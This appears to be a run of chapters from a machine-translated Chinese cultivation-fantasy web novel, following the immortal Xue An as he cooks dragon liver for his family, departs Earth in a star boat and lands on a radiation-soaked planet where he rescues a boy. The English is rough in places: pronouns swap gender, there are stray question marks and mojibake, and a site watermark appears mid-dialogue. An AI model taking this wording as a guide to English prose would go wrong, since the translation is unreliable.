
    Yes.


    The old house of childhood has long ceased to exist. Since his youth, Xue An has left Qingmang Town and has been living a life of displacement.


    Later, when I was in college, I met An Yan, and returned to Beijiang together, and rented this dilapidated two-bedroom apartment.


    At that time, Xue An found the feeling of home.


    And now, Xue An has always felt that this is home.


    And An Yan also had red eyes, and said to the two little girls: "Yes, we will stay here for two days. Are you happy?"


    "Hmm! Happy!" The two little girls said cheerfully.


    For children, it doesn''t matter whether the house is wide or narrow. As long as mom and dad are around, no matter where they live is good.


    What''s more, the two little girls grew up here since they were born, and of course they have a lot of affection for here.


    At this time, Xue An opened the door and the family walked in.


    The house is very clean, as if someone cleans it every day.


    But the furnishings are the same as when they left.


    It''s as if they just went out for a meal and then came back.


    An Yan''s eyes were red, and he took a deep breath, while gently rubbing the furniture and furnishings in the house with his fingers.


    Everything here contains memories of her and Xue An.


    Looking back now suddenly, An Yan is naturally touched a lot.


    The two little girls cheered and threw on the dilapidated sofa in the living room, and then turned on the TV impatiently.


    There is still electricity, and the TV can be turned on normally.


    So the two little girls leaned back on the sofa and watched TV.


    Xue Anshun picked up the cooking apron hanging by the kitchen, put it on very skillfully, and said with a smile, "Yan''er, I''m going to cook!"


    "Husband, let me do it! You..."


    An Yan always felt that it was weird to let Xue An cook.


    After all, Xue An is now a man standing at the top of this world, but now he is cooking in an apron, which is really a violation.


    Xue An just smiled at this, "Well, cooking for you and your children, what''s weird about this? Besides, can you cook Longgan?"


    An Yan was startled, only then did he remember that the dragon liver that Xue An had cut from the Tianlong in the provincial capital was still there.


    "If you feel bored, you can help me and see how your husband and I fry dragon liver!" Xue An said with a smile.


    An Yan nodded, "Hmm!"


    Xue An first took out the **** and radiant dragon liver from An Yan''s mustard seed ring.


    When this thing appeared, even the long-withered flowers on the balcony began to turn green quickly wherever the blood was.


    Then Xue An took out oily salt sauce vinegar and ginger, onion and garlic from Anyan''s ring.


    Don''t ask why there is this inside.


    Xue An evacuated a large supermarket in Zhongdu a few days ago and threw everything into the mustard ring.


    Those who really couldn''t let go were put in the Fubao Xiaolou.


    The purpose is to use it when leaving the earth to travel through the heavens.


    And there is another advantage of storing things in the mustard ring and this talisman small building, that is, you never have to worry about deterioration and corruption. It can be called a super enhanced version of the mobile large freezer.


    "Actually, the best match with this dragon liver should be the phoenix marrow, but I guess there will be no such thing as phoenix in this world, so I can only eat it with stir-fry."


    "The dragon liver itself is not delicious, it is even very fishy, ??so we need to use superb seasoning methods to correct these flavors."


    "I''m an expert at this point! I used to stir fry and eat."


    Xue An was preparing things while chattering.


    An Yan was a little confused, "husband!"


    "Ok?"


    "Aren''t these dragons and phoenixes both very powerful races? Why is there such a dish of dragon liver and phoenix marrow?"


    Xue An smiled when he heard this, "There are huge differences among the dragon race. There are top-level existences comparable to the immortal kings, and there is also a dish dragon that can only be slaughtered to eat meat, but this Tianlong is among the dragons. Although the strength is not very good, it is still not as good as a vegetable dragon. It''s just that they angered me, so I cut off the dragon liver."


    "As for the phoenix..." Xue An paused, and then he muttered for a moment before saying: "This tribe is even more weird. Have you ever heard of Phoenix Nirvana?"


    An Yan nodded.


    "Every phoenix will experience Nirvana many times in their life, and every Nirvana is a rebirth for them."


    "This also causes the body of the phoenix discarded in Nirvana to become an unowned thing, just like the skin shed by a snake, being discarded at will."


    "So the phoenix was found to be delicious."


    Hearing Xue An''s explanation, An Yan''s eyes gradually widened.


    "Husband, you are amazing!"


    Xue An chuckled, "There is a mess in the heavens and worlds. There are all races and all kinds of things will be encountered. After a long time, you will gradually understand."


    "Hmm!"


    At this time, Xue An prepared everything properly, but did not use the stove.


    Because mortal flames simply cannot cook this dragon liver.


    Xue An snapped his fingers, and a group of pure white flames appeared in the air.


    Then Xue An took An Yan''s cracked pan.


    "Husband, this pot is leaking!"


    "It''s okay, just to make up for you!"


    As he said, Xue An threw the pan above the flame under the flame, the pan immediately began to disintegrate.


    But when Xue An threw the dragon liver up, the **** brilliance kept seeping into the pot, gradually.


    The cracks in the pot began to heal.


    "The dragon liver contains all the vitality of a dragon. If it is stimulated, it will have many magical effects. This is just one of them."


    Xue An said lightly, throwing in the prepared spices and starting to cook the dragon liver.


    A strange fragrance spread.


    An Yan could smell the index finger violently. As for the two little girls, they couldn''t even watch the TV. They all ran to the kitchen door and waited for the dragon liver to be out of the pot.


    at last.


    After Xue An stir-fried, he put the plate of stir-fried dragon liver on the plate.


    "Alright! Eat quickly! Otherwise, it won''t taste good after a while." Xue An said with a smile.

 Chapter 696： This is the reward you deserve

    In fact, before Xue An ordered, the two little girls could not wait to pick up a piece and put it in their mouths.


    "Is it delicious?" An Yan asked.


    The two little girls could no longer speak, so they nodded again and again.


    An Yan picked up a piece and tasted it.


    The entrance is very soft and tenacity, covered with thickened soup, very sweet and refreshing.


    But after chewing twice, the dragon liver suddenly melted away and was quickly absorbed by the body.


    An Yan felt that the strength of her whole person had increased a lot, and her cultivation base began to move around.


    But because An Yan''s cultivation base has reached the critical value of the seal, there is no improvement at all.


    Xue An could naturally see this, and his expression was getting colder.


    "Husband, take a bite!" An Yan naturally could see that Xue An''s state was wrong, and guessed what it was because of it, so he quickly turned the topic off.


    Xue An shook his head and said with a smile: "I was tired of eating this stuff at the beginning, you and your children can eat it!"


    At this moment.


    There was a sudden noise of footsteps outside the door.


    Then I heard someone shouting: "Are you sure there are people inside?"


    "Boss, we''re so sure! Can''t be wrong! And you don''t smell the fragrance? Obviously this thief is cooking in it!"


    "Damn, someone dared to go to Mr. Xue''s hometown to make trouble. Today, I, Du Fan, didn''t take his skin off, so I''m sorry..."


    Before he finished speaking, Xue An had already opened the door.


    really.


    Standing outside the door, pulling their arms and sleeves, preparing to break into the door to catch the "thief" is the Beijiang gang leader Du Fan and his party.


    And when they saw Xue An, who was standing behind the door, wearing a cooking apron, and even carrying a spatula in his hand, they couldn''t help being stupid.


    "Xue...Mr. Xue?" Du Fan was the first to wake up and said with a look of astonishment.


    Xue An nodded slightly, took a look at Du Fan, and then faintly said: "I''m sorry? Is this set of exercises you practiced?"


    Du Fan was shocked when he heard the words, and then scratched his head embarrassedly, "Hey, thanks to Mr., I''m also starting to practice now."


    "Oh, how about the entry?"


    Du Fan didn''t even dare to raise his head this time, and said in a low voice, "I haven''t felt the existence of spiritual energy until now!"


    Xue An smiled, "Of course you can''t feel it, because you don''t have the foundation for cultivation at all!"


    Hearing this sentence, Du Fan wanted to cry because this was not the first person to say that to him, but these words from Xue An still made Du Fan feel truly desperate. .


    Without the foundation of cultivation, it means that you can''t cultivate in the future.


    Du Fan is not a fool.


    Of course he can see what will be most popular in the future, there is no doubt that it is a cultivator.


    If you want to stay longer in this position, you also need stronger strength.


    Otherwise, it is likely to become the outcast of this era.


    So no matter how difficult it is, he wants to cultivate.


    But what Xue An said today ruthlessly shattered his last illusion.


    Just when Du Fan''s face was gray.


    Xue An looked at the staff holding sticks behind him, and said lightly: "How do you know there is movement in my house?"


    Du Fan whispered: "Sir, this is all arranged by me, because I am afraid that someone will come to your old house and make trouble, so I ordered people to watch for 24 hours. This time they said someone broke into you. I hurried over to my old house."


    "It may be that you came back in a hurry, and these people didn''t recognize you. That''s why you made this oolong. I''m really sorry!"


    Du Fan explained Chase.


    Xue An chuckles when he hears this, and then suddenly asks: "When the world was in chaos before, you sent someone to protect Lao Xie''s family secretly, right?"


    Du Fan nodded when he heard the words, "Although Chairman Qin sent someone over at the time, I was always worried that their bodyguards were not clever enough, so I ordered a few local gangsters to stare."


    "Although these gangsters are not good at fighting, they are very familiar with the local terrain and situation. When they go, they can also help Uncle Xie and the others tide over the difficulties."


    Xue An nodded, "You did a great job!"


    Du Fan was startled slightly and was about to thank him, but Xue An''s next sentence made him stand still.


    "Although you had a lot of wrongs before, but with your two intentions, I will give you a chance."


    Chance.


    Mr. Xue wants to give me a chance.


    Du Fan felt that the whole person was stupid, and his brain was blank, so he could only nodded blankly.


    "Ok!"


    Xue An smiled slightly and turned around to look at the three mothers and daughters who had eaten most of the dragon liver, but apparently couldn''t eat it anymore.


    "Are you still eating?"


    The three mother and daughter shook their heads together.


    "Don''t eat it, this thing tastes very delicious at first, but after eating too much, my stomach feels so full!" An Yan said.


    "Yeah! I also feel uncomfortable to hold it!" Think about it.


    Only Niannian took another piece, put it in her mouth and chewed slowly like a hamster.


    "I think it''s okay, but I''m full!"


    Xue An smiled and brought the remaining Shaoban Longgan over.


    "Here, this is for you!"


    Du Fan took the plate blankly, "Sir, this is..."


    "This is the chance I gave you!" Xue An said lightly.


    "what?"


    Du Fan was a little dumbfounded.


    Such a dish of leftovers is a chance?


    If others dared to say that, Du Fan would have called it over with a plate, thinking that he was definitely making himself happy.


    But he didn''t dare not listen to Xue An''s words.


    And what is this dish made of? It smells good.


    "Try it with a piece!" Xue An said.


    "Uh...good!"


    Thinking about it, Du Fan grabbed a piece with his hand and threw it into his mouth.


    After a bit of chewing, Du Fan''s whole body was shocked, and suddenly there was a burst of inaudible sweat.


    And the eyes that were originally cloudy became clear.


    This is the effect of Longgan''s cutting through and washing the marrow.


    Then Du Fan felt that he could suddenly feel the existence of heaven and earth aura.


    This discovery made him ecstatic, "Sir..."


    Xue An waved his hand, "This is what you deserve!"


    Du Fan didn''t think so, he carefully prepared the dishes in his hand, and then respectfully saluted Xue An.


    "Mr. Great kindness, UU reading Du Fan is unforgettable. If you are driven in the future, it will be a hard work!"


    Xue An smiled faintly, "Okay! Go!"


    After that, he closed the door.


    Du Fan just bowed like this, until more than a minute later, he slowly straightened up.


    His face was full of excitement and excitement.


    As for his subordinates, they all stared at the dish in Du Fan''s hand with straight eyes.


    Du Fan said lightly: "This is a gift from my husband. I have eaten one piece now. If I want to eat the rest, I have to make a special contribution to help to enjoy it! Understand?"


    "Yes!" All of these men shook together, respecting their boss more and more.


    "Also, remember to send a few more people to guard here, if there is anything sir, report it to me immediately!"


    "understand!"

 Chapter 697： Dog abuse everyday

    "Husband, who was it just now?" An Yan asked.


    Xue An smiled, ��I��ve been taught by me to be a **** in Beijiang once before, but this person is very on the road.


    "Oh!"


    "Oh what? Do you know?"


    "Hehe, don''t know!" An Yan said stupidly.


    Seeing this, Xue An messed up her hair helplessly, "I don''t know it, what a fool!"


    "I hate it, messing up my hairstyle again!" An Yan pursed her mouth with anger, like a kitten with exploded fur.


    Xue An looked at her cute and explosive appearance, and couldn''t help but stretched out his hand to gently pinch her nose.


    "Who do you hate?"


    This time An Yan was so angry that it was fangs and claws, "You hate it, you hate it!"


    "Oh? Then I won''t let go!"


    "Woo, you big bad guy, you will bully me! My nose hurts!" An Yan looked like weeping.


    Xue An thought he really pinched An Yan, so he quickly let go.


    An Yan squatted down and buried her head on her knees.


    Seeing An Yan, who was shaking his shoulders slightly, as if crying, Xue An felt guilty at a loss.


    "Yan''er, I was wrong. I was teasing with you, I really didn''t mean it!" Xue Anchong said here, Anyan turned there, turned to the other side and said, Anyan moved again come back.


    So Xue An began to apologize to An Yan in circles.


    In the end, in desperation, Xue An also squatted down and said, "Or...how about pinching my nose?"


    As soon as the voice fell, An Yan suddenly raised his head, smiling at the corners of his mouth, where there was a slight crying.


    "Okay! This is what you said!"


    Xue An was a little dumbfounded, was he cheated?


    Before he recovered, An Yan showed white teeth, "But I don''t want to pinch my nose, you are a golden fairy, how could the little girl pinch you, I want to kill you!"


    After all, An Yan rushed over with a grin, and bit on Xue An''s shoulder with one bite.


    Xue An was caught off guard, and was firmly bitten by An Yan. He sucked in pain because of the pain.


    But at this time, the golden light loomed on Xue An''s shoulders, this was Xue An''s body''s natural response after feeling threatened.


    But if the golden light condenses, An Yan''s teeth will probably be broken.


    Therefore, Xue An''s eyes were cold, and the golden light on his shoulders disappeared instantly.


    Being able to disperse the cultivation base is equivalent to using the flesh to harden the teeth.


    Anyway, An Yan is also a loose fairy, under this bite, it can be described as full of power.


    At least Xue An showed cold sweat on his painful forehead, but gritted his teeth and said nothing.


    At this moment, An Yan also noticed the strangeness, and couldn''t help letting go, and then saw Xue An squatting down there with sweat and pain on his face.


    "Husband, you... how are you..."


    An Yan wanted to ask Xue An why he didn''t use his cultivation base to resist.


    A smile appeared at the corner of Xue An''s mouth, "Silly girl, if I use the cultivation base, your teeth will break!"


    "Then you...really resist?"


    "Hey, it''s okay!"


    Seeing Xue An''s smile, An Yan suddenly felt that she was extremely abhorrent, it was simply unreasonable to make trouble.


    Then she stroked Xue An''s shoulder.


    I saw that Xue An''s clothes were all bitten, and the meat inside was bitten into a deep tooth mark. Among them, the tooth marks bitten by An Yan''s two tiger teeth were still leaking blood.


    "Husband, I''m sorry! I didn''t mean it!" Seeing this scene, An Yan burst into tears.


    She felt that she didn''t use much strength at all.


    Why did you bite her husband like this?


    Xue An smiled, "Okay, okay, it''s okay, don''t cry! I think I was bitten by a puppy!"


    An Yan nodded habitually, "Huh...huh?"


    At this time, a golden light flashed across Xue An''s shoulders, and then he recovered as before, not to mention the bloodshot, even the tooth marks disappeared.


    Looking at the narrow smile on Xue An''s face, An Yan knew that she was being used again.


    He gritted his teeth with anger and rushed forward.


    "Smelly husband, I will bite off a piece of your meat this time!"


    "Who bites me is a puppy!"


    "Whoever bites me is a puppy!"


    The two became a group.


    The two little girls who were watching TV became impatient, and shouted: "Dad! Mom! Stop making trouble! People still want to watch TV!"


    In fact, from the very beginning, the two little girls have been staring at the TV as if they hadn''t seen Xue An and An Yan fighting.


    It wasn''t until the two of them blocked their vision that they shouted angrily.


    The reason....


    Maybe it''s because I watched too many images of dog abuse, and I''m already a little immune.


    In the end, the battle ended in Xue An''s surrender.


    The price is to harvest three tooth marks on two shoulders.


    And An Yan clearly said that he was not allowed to use his cultivation base to recover.


    Xue An had to accept with a wry smile.


    Late at night.


    The autumn wind is bleak outside, and the night is as cold as water.


    Xue quietly sat on the sofa in the living room, looking at the moonlight outside.


    At this time, the bedroom door was gently pushed open.


    An Yan crept out.


    "Are all asleep?" Xue An asked with a smile.


    An Yan nodded, and then sat next to Xue An.


    "A drink?" Xue An asked with a smile.


    "Ok!"


    Xue An took out a bottle of red wine and a few snacks from An Yan''s ring.


    The two touched the glass lightly, then smiled at each other and drank the wine in the glass.


    "We haven''t been drinking together like this for a long time!" An Yan sighed a little.


    When the two of them had just returned to Beijiang, An Yan was not pregnant yet, and Xue An also found his favorite job, which was when he was in high spirits.


    So Xue An often buys some cooked cold dishes on the way from get off work, and drinks a few drinks with An Yan when he comes back.


    While drinking, the two chatted about the past, or imagined the future.


    Often talking and talking, he laughed.


    At that time, this cabin was often filled with laughter from two people.


    But then things took a turn for the worse and eventually separated.


    "Yes! It''s been a long time!" Xue An whispered.


    An Yan was silent suddenly.


    For her, this long time may only be four to five years.


    But for Xue An, it was a long time of more than three thousand years.


    What a desperate three thousand years!


    "Husband..."


    Xue An smiled slightly, "Okay, it''s okay! Everything is here, right?"


    An Yan nodded and then stroked the tooth marks she bit on Xue An''s shoulder with some distress.


    "Husband, you are so stupid. If you don''t recover, will you not recover?"


    "It''s because of stupidity that I found you!"


    "Hate!" An Yan gave Xue An a lightly punch.


    There was another silence, An Yan put her head on Xue An''s shoulder, and said softly: "Husband, when shall we leave?"


    "Quickly! Now the affairs of the world are almost dealt with. When Xuan''er and the others return to Beijiang, we will leave!"


    "Oh! Husband..."


    "Ok?"


    "you are so nice!"


    In the end, An Yan got drunk that night.


    Ahem, of course Xue An eventually won a round.

 Chapter 698： Mountains and rivers are arrays across the star boat

    In the next few days, the Xue An family did not even leave the door, and they enjoyed a warm and sweet time in this small house.


    Until this day, Tang Xuan''er returned to Beijiang with Xiaosha.


    ������������


    Tianzi No. 1 Villa.


    Xiao Sha said, "Boss, take me along. If someone is looking for trouble, I can beat him up for you too!"


    Xue An shook his head, "No, you have more important tasks to stay here."


    "A more important task?" Xiaosha was a little unsure.


    Xue An nodded, then looked around the entire villa and said lightly: "This is it!"


    Xiao Sha and Tang Xuan''er glanced at each other, both of them were a little confused, not understanding what Xue An meant.


    At this time.


    Xue An walked to the door of the villa, looked up at Yunmeng Lake in the distance, slowly stretched out his hand, palms up, and said lightly: "The other day...change the ground!"


    boom!


    Under his order, the hill under everyone''s feet suddenly shook, and then it began to rise steadily.


    The Yunmeng Lake in the distance was surging crazily, and a cloud of spring water suddenly rose up in the center of the lake, and the area of ??the lake began to increase rapidly.


    In short, the surrounding environment of Tianzi No. 1 Villa began to undergo drastic changes.


    Tang Xuan''er and Xiao Sha were a little dumbfounded.


    And Xue An watched all this quietly.


    When Xue An first moved into this villa, because of bad feng shui, he forcibly raised the hill and transformed it.


    But at that time Xue An''s cultivation base was far from restored to its current level.


    It is even more impossible to have such a majestic power of world changes as far as the eye can see.


    And if Song Yi, who studies Feng Shui techniques, is here, he will probably drop his jaw.


    Because what Xue An is displaying now is the top-level Feng Shui technique that takes heaven, earth, mountains and rivers in one palm.


    After a while.


    The upheaval gradually stopped.


    Looking at this Villa No. 1 Tianzi, the appearance has changed drastically.


    The hill, which was not originally tall, had already become soaring.


    And the originally small Yunmeng Lake has become misty, and there is a spring water surging in the middle of the lake.


    The water is dense, turning into countless white fog, floating above the lake.


    Xue An lifted his foot into the void, with a finger, the white mist turned into a white line and was led to the hill.


    The hill shook slightly, and under the nourishment of the white mist, it gradually showed a jade-like luster.


    But Tang Xuan''er and Xiao Sha felt that the aura around them had grown to an incredible level.


    At the time of horror.


    Xue An stood in the air and shouted softly: "Mountains and rivers are a formation!"


    boom!


    These mists turned into countless white lines, forming a very complicated set of talisman seals, and then crashed down, completely covering the hill.


    But the hill drew the underground aura that had been accumulated for tens of thousands of years, and instantly made the whole mountain as bright as jade.


    Formed.


    Including Yunmeng Lake, the surrounding area of ??Villa No.1 Tianzi was enveloped by a layer of fog that was so dense that it could not be removed, and it became a world of itself.


    And if someone wants to forcibly break through, they have to fight the mountains and rivers here, otherwise they won''t be able to get in at all.


    But Xue An was still uneasy, and superimposed a lot of runes on top of this formation, until the world was refined into a solid existence, it was barely satisfied.


    Then Xue An fell back to the ground and raised his hand to release An Qing who was still sleeping in the Fubao Xiaolou.


    At this moment, An Qing was completely covered by a layer of cocoon, and with the long breathing, the cocoon also shone with faint fluorescence.


    "Qing''er..." An Yan couldn''t help feeling a little moved.


    Xue An said lightly: "She''s fine, but she needs to sleep for a while! And here is the formation that I set up to protect it, it''s very safe! Let her stay here!"


    An Yan hesitated for a moment, then nodded gently.


    Xue An smiled, "Don''t worry, we won''t come back here! It may not be long before we can come back and have a look!"


    "Yeah!" An Yan replied, then picked up An Qing who was sleeping and went to the villa.


    Xue An turned to look at Xiaosha and Tang Xuan''er.


    "Xiaosha!"


    "in!"


    "After I go, you must take good care of this world and protect Xuan''er Mengxue and others. If someone comes to make trouble..."


    Without waiting for Xue An to finish, Xiao Sha showed a murderous intent on his face, "Boss rest assured, if anyone dares to make trouble, kill me!"


    Xue An nodded, and then looked at Tang Xuan''er, "Xuan''er, now this realm is becoming more and more aura, and I have opened up the underground spiritual veins here again. You have to cultivate well. After all, if you don''t want to be troublesome, you need to have enough yourself. Strength!"


    Tang Xuan''er''s eyes were slightly red, "Yes!"


    At this time An Yan settled down, sister An Qing led the two little girls out.


    Xue An looked around the villa and suddenly raised his hand and waved a sword.


    boom!


    An unparalleled sword intent fell straight down the mountains and seas, and then dissipated invisible.


    "I will leave another sword intent to guard, so that there is no worry here!"


    After all, Xue An released the boat that was captured from the hands of the true gods of the heavens that day.


    The hundreds of boats have been integrated into one at this moment.


    Once it was released, it floated high above the sky, the golden light flickered, making people afraid to look directly.


    "Yan''er, let''s go!"


    Xue An said, leading An Yan and two daughters to board the sea star boat.


    Tang Xuan''er and Xiao Sha looked up.


    I saw the starship lift off at a very fast speed, and instantly disappeared from the sight of the two.


    After the meeting, Xiao Sha shook his head and sighed, "The boss is the boss, so domineering!"


    Xuan''er''s eyes were reddish, and she turned her head into the villa, not daring to look again.


    at the same time.


    Xue An drove the star boat and reached the top of the extremely high sky, and then went up into space.


    An Yan and the two little girls stood in front of the porthole made by the secret method, looking at the blue yingying planet below with shocked faces.


    Xue An smiled faintly, "Does it look good?"


    "Hmm! It''s beautiful!"


    "Haha, sit firmly, we are leaving!" Xue An said, and began to urge the star boat with his own cultivation.


    I saw the Xingzhou slowly turning its direction, and there was a ripple in the space in front, and then a very bright light flashed suddenly, and the Xingzhou disappeared in place.


    at the same time.


    The powerhouses all over the world all felt it and looked up at the sky.


    Europe, among the dark castles.


    Fan Mengxue, who was sitting on the dark throne, shook all over, suddenly raised her head to look at the flash of light above the dome, tears gradually appeared in her eyes.


    "Xue An... be careful all the way!"


    In Zhongdu the members of the Fire Phoenix who were practicing hard also looked up.


    "The instructor has left!" Zhou Daniu looked solemn.


    Zou Yi nodded, "Yes! I really want to follow the instructor to see what the outside world is like!"


    Everyone was silent for a while.


    Then Cheng Hao said solemnly: "If you want to go to the outside world, you must be strong enough, so we have to train harder, understand?"


    "Understood!" All the members responded in a sudden.


    The whole world was agitated because of Xue An''s departure.


    But soon, everything gradually calmed down again.


    The world is back on track, and in the distant starry sky, Xue An is driving the star boat.

 Chapter 699： Weird star

    Whoosh!


    In the boundless space, a starship suddenly darts past, and then passes the stars at the speed of time-space transition.


    The star boat, which appears to be huge on the earth, is as small as floating dust in this vast universe.


    Xue An drove the star boat alone, and there was a trace of fatigue on his face.


    He has urged his cultivation base and has been on his way for three consecutive months.


    If it were other golden immortals, they would have died because of excessive overdraft repair.


    That is why Xue An can support it till now.


    An Yan and two daughters were not in the star boat.


    Xue An is well aware of the dangers of traveling in this space, even if there is a sea star boat, it is not foolproof.


    Therefore, Xue An let them enter the Fubao Xiaolou to escape.


    This Fubao Xiaolou is the remains of a true immortal, and even if something happens to Xingzhou, it is enough to resist outside intrusions.


    In the past three months, Xue An has checked every star that he has passed, but has not found a planet with life.


    This made Xue An feel a little strange.


    If it were in that prosperous star field, almost every star could give birth to life.


    Only the starry sky near the earth is silent.


    If this dead starry sky looks like a desert, then the earth is the only oasis in the desert.


    This strange phenomenon caused a trace of doubt in Xue An''s heart.


    Is this something deliberate, or is it the way it is?


    If someone deliberately did it, then this person''s methods are truly earth-shattering.


    Because Xue An didn''t have a star map around him, and he didn''t have a star array that could be used to teleport, he could only use this stupid way of crossing the void to drive on.


    Of course, after Xue An restores Da Luo''s cultivation base, he can travel through the physical body, and then it will be much easier to walk the heavens.


    At this time Xingzhou had sailed into a calm sea of ??stars.


    The stars are dazzling and beautiful outside.


    Seeing this, Xue An released Fu Bao Xiaolou.


    As soon as An Yan and his two daughters came out, they were shocked by the beautiful scenery outside.


    After a while, An Yan exclaimed, "It''s really spectacular!"


    Xue An smiled when he heard the words, "I will take you to Tianhe in the future to take a look. There are trillions of stars gathered together. The light is like smoke and sea stars are like mortal dust. That is truly spectacular!"


    "Hmm! Husband, where are we now? Are we already far away from the earth?" An Yan asked.


    "Yes, but not!"


    "Ok?"


    "From a human point of view, we are now very far away from the earth, but on a cosmic scale, we may not have stepped out of the house."


    An Yan opened her mouth slightly, "Is it so big?"


    "You..." Xue An was about to say something with a smile.


    Suddenly, the Xingzhou began to shake violently.


    Then Xue An saw a huge black star appeared in front of the star boat.


    "Quickly return to the small building!" Xue An said in a deep voice, and immediately began to concentrate on controlling the Xingzhou.


    An Yan looked at Xue An worriedly, then turned around and took his two daughters into the Fubao Xiaolou.


    Although she was very worried about Xue An, she knew that she would not be able to help at all if she stayed outside, and it would distract Xue An instead.


    Xue An breathed a sigh of relief when seeing his wife and daughter entering the Fubao Xiaolou, and began to fully control the Xingzhou.


    This star has a strong suction force, attracting the Xingzhou to keep approaching. If it is not controlled, the result is likely to be a crash.


    Xue An urged the whole body to cultivate, and layers of golden light appeared on the entire star boat, fully resisting the suction of the stars.


    at last.


    This star boat gradually stabilized, and quietly suspended above the stars.


    Xue An breathed a sigh of relief, began to look at the dark star, and then frowned.


    He had never seen such a strange star.


    His whole body exudes an ominous life, like a person about to die.


    The point is that even Xue An can''t see through the black mist shrouded in this star.


    At this moment, at the edge of this star, a little light suddenly appeared on the surface formed by the black mist.


    The bright light was very dim at the beginning, but then the brightness began to rise sharply, and finally the bright light exploded, and the flame shock wave swept across a large area, forming a huge spot on the black fog.


    After the flame dissipated and the light converged, a huge mushroom cloud appeared on the surface of the black mist, and the stirred black mist formed a huge vortex.


    Xue looked quietly, and suddenly gave a soft voice.


    The light of the explosion...it seems like a nuclear bomb.


    And when the black mist was stirred, Xue An felt that there was life on this planet.


    This discovery made Xue An a little excited.


    After three months of running, I finally met a planet with life.


    But the explosion just reminded Xue An that this star is obviously not simple.


    Therefore, after a while, Xue An put the Fu Bao Xiaolou into storage.


    Then a simplified version of a small star array was established in this starship.


    This kind of star array can be used for short-distance transmission.


    After doing all this, Xue An flew out of the star boat, tapped his hand to depict a few runes that concealed his movements, and hid the star boat.


    The reason why this starship was not stored together was because this was Xue Anliu''s retreat. If there was any danger on this planet, he could directly send it back through the star array.


    Although Xue An is currently the Golden Immortal cultivation base, the vast universe is really too big, and the heavens and the realms are just the name of a large area of ??known stars.


    And there are many unknown star fields.


    Among them, the dangers and strangeness are countless.


    What''s more, this star is inherently weird, and it''s always right to be careful.


    After dealing with everything, Xue An gave a soft drink, and his whole body was covered by layers of sword light, and then he fell straight and flew towards the black star.


    In an instant.


    Xue An fell into this black mist.


    I saw these black mists boiled instantly, and then rushed in, trying to swallow Xue An.


    But before he got close, he was strangled by layers of swordsman.


    But the further down, the thicker the black mist.


    In the end, it even became real, and Xue An''s whereabouts became slow.


    Seeing these tide-like black mists, Xue An frowned slightly, a flash of sword light in his eyes.


    A sword light pierced straight down, splitting a path with a bang.


    But then the surrounding black mist tried to surround him.


    Xue An took this opportunity to fall straight down and disappeared into the black mist instantly.


    After falling for another cup of tea, Xue An suddenly felt lightened all over, and then a slight light appeared in front of his eyes.


    Before Xue An could react, the light quickly increased.


    suddenly.


    Xue An felt that as soon as the whole person was loose, the black fog had completely disappeared, but a scene of wonder appeared in front of him.


    I saw a weird red light flooding between heaven and earth.


    The color is like a desert sunset.


    Looking at it, the ground was bare, like a dead zone.


    The wind was violent in the high altitude, and although the air was mixed with a strange smell, he could breathe.


    At the same time Xue An also felt a slight numbness all over his body.


    Xue An''s heart moved, it was radiation!

 Chapter 700： Atu

    The radiation power contained in this piece of heaven and earth is so strong that even Xue An, who is a golden immortal, can feel it.


    But even in such an environment that is absolutely unsuitable for human survival, Xue An noticed signs of life in the distant wilderness, and seemed to be fighting.


    Xue An walked away from the sky and arrived at the fighting location in the blink of an eye.


    This is a low valley.


    In the valley, a boy who was only eleven or twelve years old was fighting desperately with several animals that looked like wolves.


    The fight had obviously been going on for a while, because the boy had already had multiple scars.


    At this time, the boy slashed abruptly and forced the wolves in front of him back. Then he took a few steps back breathlessly, staring fiercely at the opposite side, but trembling slightly.


    Obviously, I can''t support it.


    These wolves are not the same as the wolves on the earth. First, they are much thinner, but the coat color of the whole body shows a metallic luster, and the eyes of a pair of wolves are full of cunning and cruel light.


    Seeing what the little boy looked like, these wolves opened up their formation and slowly approached.


    The action room is actually very organized.


    Obviously, these wolves are not ordinary animals, and a group of very intelligent creatures.


    At this time, the boy had retreated to the edge of the valley, and the pack of wolves surrounded him tightly, and then they all stuck out their tongues, showing a salivating expression.


    Suddenly.


    The nearest wolf suddenly jumped up and rushed toward the little boy. In the mid-air, the wolf waved its claws and a good wind flew towards the little boy.


    The boy was obviously weakened, but he still used his head to face the blow.


    boom.


    The hard rock was cut into a deep hole by this good wind.


    A blood stain appeared on the boy''s cheek.


    This is the result of him hiding slowly and being swept by Li Feng''s tail.


    But the boy didn''t have time to rejoice, because the demon wolf had already rushed to the front, opened his blood basin, ran into the little boy''s neck and bit it.


    In desperation, the little boy screamed suddenly, the short knife in his hand showed a faint red halo, and then he cut it out.


    puff.


    The demon wolf screamed, a wolf''s leg was chopped off, and the stench of blood splashed to the ground, making a roar of corrosion.


    But instead of repulsing the demon wolf, this knife aroused its ferocity. When it roared, it opened its mouth and spit out another wind blade.


    At this time, the little boy was already at the end of the battle, and he didn''t even have the strength to evade. He couldn''t help but look desperate in his eyes.


    But at this moment, the demon wolf flew upside down suddenly, and then exploded into blood mist in mid-air.


    The little boy was taken aback, and Xue An''s figure appeared in the court.


    Xue An had just been watching from a distance.


    He admired the bravery of this little boy, but the knife he used finally surprised Xue An.


    Because he can be sure that this little boy has absolutely no cultivation.


    Then the knife he cut is a bit interesting.


    At this time, the boy looked at Xue An in a daze, with a gleam of horror and puzzlement in his eyes.


    I don''t seem to understand why this clean man, who is dressed in decent clothes and looks like a big man in the city, wants to save himself.


    Xue An glanced at these magic wolves.


    The death of the demon wolf just now shocked the remaining demon wolves.


    But these magic wolves are obviously still a little unwilling, so they all wandered around not far away, seeming to be looking for new opportunities.


    Xue An smiled faintly when he saw it, and a flash of sword light flashed.


    These demon wolves, who had been staring at them, seemed to have seen something extremely terrifying, and they wailed and wanted to escape.


    But this sword light swept across the audience in an instant.


    These magic wolves shook all over, and then the wolf''s head was chopped off and the dead body fell to the ground.


    With one blow, the wolves were wiped out.


    Seeing this scene, the boy''s mouth opened slightly, and he couldn''t believe his eyes.


    There must be at least a dozen brawny men, or three first-order fighters to destroy the wolves.


    It was killed by this man.


    Could it be... he is a second-order or higher-order samurai?


    The boy was shocked.


    Xue An turned his head and glanced at him, then said in a voice with a hint of spiritual thought: "What is your name?"


    There are too many races in the heavens, and the language is extremely complicated, so after encountering, Xue An always communicates with a voice containing a hint of spirituality, which can ensure that the other party can understand and save a lot of trouble.


    The boy was startled, and then hurriedly said, "My lord, my name is Atu."


    The voice is full of respect.


    Xue An nodded, "Atu...Where is this?"


    "My lord, this is the South Mine Wilderness in Heshan Town!" Although Atu was surprised why Xue An asked such a strange question, he answered seriously.


    "Heshan Town..." Xue An smiled.


